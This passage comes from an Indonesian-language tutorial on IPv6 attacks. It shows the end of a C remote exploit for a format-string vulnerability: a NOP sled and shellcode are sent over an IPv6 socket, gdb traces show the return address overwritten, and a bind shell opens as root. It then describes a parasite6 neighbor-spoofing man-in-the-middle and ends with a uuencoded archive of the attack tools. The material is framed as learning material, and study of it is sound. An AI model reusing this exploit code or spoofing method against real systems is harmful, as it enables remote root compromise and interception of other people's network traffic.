memset(buffer + strlen(buffer), '\x90', 512);
sprintf(buffer + strlen(buffer), "%s\r\n", shellcode);
len = strlen(buffer);
memset(&Hints,0,sizeof(Hints));
Hints.ai_family = AF_UNSPEC;
Hints.ai_socktype = SOCK_STREAM;
retval = getaddrinfo(argv[1],argv[2], &Hints, &AddrInfo);
if(retval!=0){
printf("Cannot resolve requested address\n");
exit(0);
}
for(AI=AddrInfo;AI!=NULL;AI=AI->ai_next){
if((s=socket(AI->ai_family,AI->ai_socktype,AI->ai_protocol))<0){
printf("can't create socket\n");
exit(0);
}
connect(s,AI->ai_addr,AI->ai_addrlen);
send(s,buffer,len,0);
}
for(AI=AddrInfo;AI!=NULL;AI=AI->ai_next){
if((s=socket(AI->ai_family,AI->ai_socktype,AI->ai_protocol))<0){
printf("can't create socket\n");
exit(0);
}
connect(s,AI->ai_addr,AI->ai_addrlen);
send(s,buffer,len,0);
}
freeaddrinfo(AddrInfo);
return 0;
}
PCATTCK
attack~> gcc -o fmtex6 fmtex6.c
attack~> ./fmtex6 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555
PCSERV
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax 0xbfffef68 -1073746072
ecx 0xbfffe768 -1073748120
edx 0x800 2048
ebx 0xb7fccff4 -1208168460
esp 0xbfffe74c 0xbfffe74c
ebp 0xbffff368 0xbffff368
esi 0x8048850 134514768
edi 0x8048550 134514000
eip 0x41414141 0x41414141
eflags 0x10207 [ CF PF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/100x $esp
0xbfffe74c: 0x080487ff 0xbfffef68 0x000003ff 0xbfffe768
0xbfffe75c: 0x00000000 0x00000000 0x00000000 0x0804a032
0xbfffe76c: 0x0804a030 0x39342e25 0x78333431 0x68243425
0xbfffe77c: 0x312e256e 0x33313430 0x24352578 0x90906e68
0xbfffe78c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffe79c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffe7ac: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffe7bc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffe7cc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffe7dc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffe7ec: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffe7fc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffe80c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffe81c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffe82c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffe83c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffe84c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffe85c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffe86c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffe87c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffe88c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffe89c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffe8ac: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffe8bc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffe8cc: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb)
Dengan menggunakan dummy exploit di atas bisa kita lihat bahwa register
EIP teroverwrite oleh '\x41\x41\x41\x41'. Alamat register ESP yang bisa
dieksploitasi adalah alamat yang berisi NOP misalnya adalah 0xbfffe8cc.
Alamat ini kemudian digunakan untuk menggantikan RETADDR pada dummy
exploit sehingga menjadi.
#define RETADDR 0xbfffe8cc
Kirim ulang dummy exploit tersebut dari PCATTCK ke PCSERV.
PCSERV
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/anto/k-elektronik/code/test/fmtserv6
PCATTCK
attack~> gcc -o fmtex6 fmtex6.c
attack~> ./fmtex6 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555
attack~> gcc -o getshell6 getshell6.c
attack~> ./getshell6 2010:5c0:1441:a0a:8891:afaf:7660:5401 4444
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/home/anto/k-elektronik/code/test
/sbin/ifconfig eth0|grep inet6
inet6 addr: fe80::201:6cff:fe9e:e6ab/64 Scope:Link
inet6 addr: 2010:5c0:1441:a0a:8891:afaf:7660:5401/64 Scope:Global
Yeah! PCSERV berhasil dikuasai dengan memanfaatkan IPv6 based remote
exploit dan shellcode bind execve. Tidak ada perbedaan yang mendasar
untuk mengeksploitasi celah keamanan format string di IPv6 dan di IPv4.
Exploitasi hanya membutuhkan porting socket dan shellcode saja.
Sebagai catatan, pembuatan exploit dengan cara sederhana ini sering
menghasilkan exploit yang tidak reliable dan mengakibatkan crash pada
aplikasi yang dieksploitasi. Tetapi sebagai bahan belajar bagaimana
sebuah aplikasi diexploitasi, cara sederhana inilah yang menurut saya
paling mudah dipahami.
[Node A]----------------[switch]------------------[Node B]
...........................|
...........................|
...........................|
...........................|
.......................[Attacker]
Attacker menerima paket ICMP Neighbor Solicitation (ICMP tipe 135 / NS)
yang dikirim ke alamat IPv6 multicast ff02::1ff60:5403: dan menanyakan
"Siapa pemilik IPv6 2010:5c0:1441:a0a:8891:afaf:7660:5403". Karena itu
bukan alamat IPv6 milik attacker, maka ICMP NS itu diabaikan. Paket
ICMPv6 Echo Request dari Node A tidak di deteksi oleh tcpdump karena
paket dari Node A langsung menuju Node B tanpa melalui kartu jaringan
attacker.
Attacker menerima paket ICMP Neighbor Solicitation (ICMP tipe 135 / NS)
yang dikirim ke alamat IPv6 multicast ff02::1ff60:5403: dan menanyakan
"Siapa pemilik IPv6 2010:5c0:1441:a0a:8891:afaf:7660:5403". Parasite6
menjawab bahwa dialah pemilik alamat IPv6 tersebut menggunakan ICMPv6
Neighbor Advertisement (ICMP tipe 136 / NA ). Node A mengkonfirmasi ICMP
Neighbor Advertisement ini.
Pada baris selanjutnya terlihat paket ICMPv6 Echo Request dari
2010:5c0:1441:a0a:8891:afaf:7660:5402 (Node A) menuju
2010:5c0:1441:a0a:8891:afaf:7660:5403 (Node B). ICMPv6 dari Node A
melalui kartu jaringan attacker terlebih dahulu untuk selanjutnya
diteruskan ke Node B. Man in the middle pada IPv6 telah berhasil, paket
data bisa di-sniff.
--[10]-- Reference
[i] http://en.wikipedia.org/wiki/IPv6
[ii] http://www.ietf.org/rfc/rfc2460.txt
[iii] http://www.ietf.org/rfc/rfc3513.txt
[iv] http://technet.microsoft.com/en-us/library/bb726997.aspx#ECAA
[v] http://en.wikipedia.org/wiki/List_of_IPv6_tunnel_brokers
[vi] http://www.ietf.org/rfc/rfc793.txt
[vii] http://www.ietf.org/rfc/rfc3493.txt
[viii] Joonbok Lee, KAIST, 2004.10.6, IPv6 Socket Programming
[ix] http://search.cpan.org/~shlomif/IO-Socket-INET6-2.57/lib/IO/Socket/INET6
.pm
[x] http://www.packetlevel.ch/html/scapy/scapyipv6.html
[xi] http://www.secdev.org/projects/scapy/build_your_own_tools.html
[xii] http://www.phrack.com/issues.html?issue=49&id=14#article
[xiii] http://milw0rm.com/papers/94
[xiv] http://x82.inetcop.org/h0me/papers/FC_exploit/FC_exploit.txt
[xv] http://freeworld.thc.org/papers/vh_thc-ipv6_attack.pdf
[xvi] http://www.slideshare.net/mbynum/ipv6-fundamentals-presentation
[xvii] http://www.milw0rm.com/papers/258
--[11]-- Source Code
begin 644 ipv6-hackit.tar.gz
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
